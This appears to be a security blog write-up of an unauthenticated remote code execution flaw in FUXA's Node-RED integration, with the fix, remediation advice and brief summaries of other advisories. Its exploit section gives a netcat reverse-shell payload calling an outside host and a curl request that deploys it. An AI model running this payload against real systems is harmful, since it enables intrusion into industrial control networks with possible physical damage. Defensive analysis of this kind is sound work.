Feb 10, 2026·5 min read·134 visits
Critical RCE in FUXA versions 1.2.8 through 1.2.10. The Node-RED plugin exposes administrative endpoints without authentication. Attackers can POST a malicious flow containing a 'Function' node to execute arbitrary system commands. Fixed in version 1.2.11.
FUXA, a popular open-source SCADA/HMI dashboard, contained a critical authentication bypass in its Node-RED integration. By failing to verify JWT tokens on proxied routes, the software allowed unauthenticated attackers to access the full Node-RED Admin API. This exposure permits the deployment of malicious JavaScript flows, leading to immediate Remote Code Execution (RCE) on the host server.
Industrial control systems (ICS) and SCADA software are the nervous systems of modern infrastructure. They control everything from factory conveyor belts to water treatment plants. FUXA is a web-based HMI (Human-Machine Interface) that lets engineers visualize this data prettily in a browser. It’s written in Node.js, uses Angular, and generally tries to bring modern web tech to the rusty world of industrial automation.
But here is the kicker: FUXA integrates Node-RED, a flow-based programming tool, to handle logic. Node-RED is fantastic. It lets you drag and drop boxes to automate tasks. However, Node-RED is also practically an IDE. If you have access to the Node-RED interface, you can write and execute arbitrary JavaScript code on the server.
So, what happens when FUXA decides to wrap Node-RED but forgets to check ID cards at the door? You get CVE-2026-25938—a vulnerability that turns a dashboard meant for monitoring temperatures into a root shell for monitoring the admin's panic levels.
The vulnerability stems from a classic architectural blunder: The Proxy Bypass. FUXA acts as a middleware wrapper around an internal Node-RED instance. It is supposed to handle authentication (JWTs, user sessions) before forwarding traffic to the Node-RED backend.
In versions 1.2.8 through 1.2.10, the developers implemented a middleware function intended to protect these routes. However, the logic for the /nodered/ endpoint was, to put it politely, optimistic. It essentially assumed that if you knew the URL, you were probably supposed to be there. The application failed to validate the x-access-token or session cookies for requests targeting the Node-RED Admin API (specifically /nodered/flows).
This is the digital equivalent of locking your front door (the main FUXA dashboard) but leaving the garage door open because "only family knows the code to the opener." Except in this case, the garage contains a button that blows up the house.
Let's look at the "smoking gun" in server/integrations/node-red/index.js. The fix, applied in commit 5e7679b09718534e4501a146fdfe093da29af336, reveals exactly what was missing.
The Vulnerable Logic (Conceptual): Previously, the middleware effectively waved traffic through based on loose checks or missing guards entirely for the API sub-paths. If the plugin was enabled, the router just forwarded the packets.
The Fix (Secure-by-Default):
The patch introduces a strict gatekeeper. Notice the explicit call to authJwt.verify:
// server/integrations/node-red/index.js
const allowDashboard = (req, res, next) => {
const url = req.originalUrl || req.url || req.path;
// Check if security is disabled (legacy mode)
if (!settings.secureEnabled) return next();
// THE FIX: Explicitly hunt for the token
const token = req.headers['x-access-token'] ||
req.query?.token ||
getCookieValue(req, 'nodered_auth');
if (!token) {
// "You shall not pass"
return res.status(401).json({
error: "unauthorized_error",
message: "Authentication required!"
});
}
// Verify the JWT signature
return authJwt.verify(token)
.then(() => next())
.catch(() => res.status(401)...);
};They also updated the frontend to pass the token into the iframe URL, ensuring valid users can still work, while unauthenticated scripts get a 401 error.
Exploiting this is trivially easy because Node-RED is designed to execute code. We don't need a buffer overflow; we just need to use the feature as intended.
Step 1: The Payload
We construct a JSON payload representing a Node-RED flow. This flow contains a single "Function" node. Inside that node, we use Node.js's child_process module to spawn a shell.
// The malicious function body
const exec = global.get('process').mainModule.require('child_process').exec;
exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4444 >/tmp/f');
return msg;Step 2: Delivery We wrap that JavaScript in the standard Node-RED JSON format and fire it at the API. No authentication headers required.
curl -X POST http://target-ip:1881/nodered/flows \
-H "Content-Type: application/json" \
-H "Node-RED-Deployment-Type: full" \
-d '[
{
"id": "pwned",
"type": "function",
"z": "flow1",
"name": "RCE",
"func": "[...malicious JS here...]",
"outputs": 1
}
]'Step 3: Execution The moment the server receives this POST request, it hot-reloads the flow. The function executes immediately (or upon injection), and a reverse shell pops on our listener. We are now inside the SCADA network.
In a standard web app, RCE means data theft. In the context of FUXA and SCADA, RCE means kinetic impact. An attacker with shell access to the HMI server can likely pivot to the PLCs (Programmable Logic Controllers) on the same network.
They could manipulate modbus commands to overheat machinery, open valves, or disable safety locks. Furthermore, because FUXA is often deployed in Docker containers running as root (despite best practices), breaking out of the application often means full control over the host operating system. This is a CVSS 9.5 for a reason—it's a complete compromise of the control layer.
The remediation is straightforward: Update to FUXA v1.2.11. This version enforces authentication on all Node-RED routes.
If you cannot update immediately, you must disable the Node-RED integration in the FUXA settings (Settings -> System -> Enable Node-RED). If that is also not an option (because your factory relies on it), restrict access to the FUXA port (default 1881) using a firewall or reverse proxy that implements its own Basic Auth or IP allowlisting. Do not expose this interface to the internet. Ever.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H| Product | Affected Versions | Fixed Version |
|---|---|---|
FUXA frangoteam | >= 1.2.8, <= 1.2.10 | 1.2.11 |
| Attribute | Detail |
|---|---|
| CVE ID | CVE-2026-25938 |
| CVSS v4.0 | 9.5 (Critical) |
| CWE | CWE-306 (Missing Authentication) |
| Attack Vector | Network (Remote) |
| Affected Component | Node-RED Integration Middleware |
| Exploit Status | Functional PoC Available (Trivial) |
The software does not perform any authentication for functionality that requires a provable user identity.
Payload CMS, a popular open-source headless Content Management System, contains a critical Regular Expression Denial of Service (ReDoS) and uncontrolled resource consumption vulnerability in versions prior to 3.90.0 and canary versions prior to 4.0.0-canary.34. Due to nested quantifiers in the multipart boundary regex validation pattern, and the absence of streaming backpressure controls, remote attackers can trigger catastrophic backtracking and memory exhaustion. This blocks the single-threaded Node.js event loop, resulting in a persistent and complete Denial of Service (DoS).
An Improper Access Control vulnerability (CWE-284) in Payload CMS prior to version 3.90.0 and 4.0.0-canary.34 allows authenticated, low-privileged users to bypass field-level access control restrictions and overwrite the password of other accounts, leading to complete account takeover and privilege escalation.
Payload CMS was discovered to use an insecure default configuration for its password-hashing mechanism. The system requested a 512-byte key from PBKDF2-HMAC-SHA256 with 25,000 iterations, creating a severe cryptographic asymmetry. While the defending server sequentially computed 16 blocks of key material (equivalent to 400,000 internal iterations), an offline attacker only needed to compute the first 32-byte block to verify password guesses. This allowed offline attackers to crack stolen database hashes 16 times faster than intended by the security design.
VectorFreed identifies a critical Use-After-Free (UAF) memory corruption vulnerability in librsvg (CVE-2026-96889), which manifests when parsing structured SVG documents containing nested XML inclusions (XIncludes) and duplicate entity declarations. The flaw results from an entity ownership conflict where librsvg prematurely deallocates an xmlEntity structure still actively referenced by the underlying libxml2 parser context. When transitively compiled into downstream applications such as the high-performance sharp image processing library, this vulnerability facilitates denial of service and unauthenticated remote code execution on the host operating system.
CVE-2026-102275 (GHSA-x33g-cr3x-6449) is a public/private key identity confusion vulnerability in PyJWT versions 2.1.0 through 2.14.0. When importing Octet Key Pair (OKP) JSON Web Keys (JWKs) representing Ed25519 or Ed448 curves, PyJWT fails to verify that the public parameter 'x' matches the private parameter 'd'. An attacker can construct a hybrid JWK combining a victim's public key with the attacker's private key. In protocols like DPoP that bind sessions via public key thumbprints, this allows the attacker to authenticate as the victim while signing proofs with their own private key, fully bypassing sender-constrained security guarantees.
An authentication bypass and privilege escalation vulnerability exists in Filament (filamentphp/filament) due to missing password verification during multi-factor authentication (MFA) setup and management. An attacker with access to an active session can modify or disable MFA, leading to account hijacking.